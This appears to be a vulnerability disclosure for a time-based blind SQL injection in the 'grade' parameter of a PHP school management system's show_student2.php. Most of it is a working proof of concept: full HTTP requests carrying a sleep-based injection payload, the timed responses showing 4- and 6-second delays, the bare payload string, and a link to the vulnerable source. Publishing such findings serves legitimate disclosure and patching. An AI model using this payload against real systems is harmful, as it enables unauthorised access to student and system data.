

SQL injection vulnerability exists in grade parameter of /view/show\_student2.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

```
1 GET /std1/view/show_student2.php?grade=%2B(select(0)from(select(sleep(4)))v)%2B'&month=4&year=2017 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:21:01 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 625
8
9 <div class="col-md-8">
10 <div class="box">
11 <div class="box-header">
12 <h3 class="box-title">
13   My Student
14 </h3>
15 </div>
16 <!-- /.box-header -->
17 <div class="box-body table-responsive">
18   <table id="example1" class="table table-bordered table-striped">
19     <thead>
20       <th class="col-md-1">
```

Done 814 bytes | 4,015 millis

Sleep time is 6s:

**Request**

```
1 GET /std1/view/show_student2.php?grade=%2B(select(0)from(select(sleep(6)))v)%2B'&month=4&year=2017 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:21:21 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 625
8
9 <div class="col-md-8">
10 <div class="box">
11 <div class="box-header">
12 <h3 class="box-title">
13   My Student
14 </h3>
15 </div>
16 <!-- /.box-header -->
17 <div class="box-body table-responsive">
18   <table id="example1" class="table table-bordered table-striped">
19     <thead>
20       <th class="col-md-1">
```

Done 814 bytes | 6,002 millis

Payload: grade='%2B(select(0)from(select(sleep(4)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>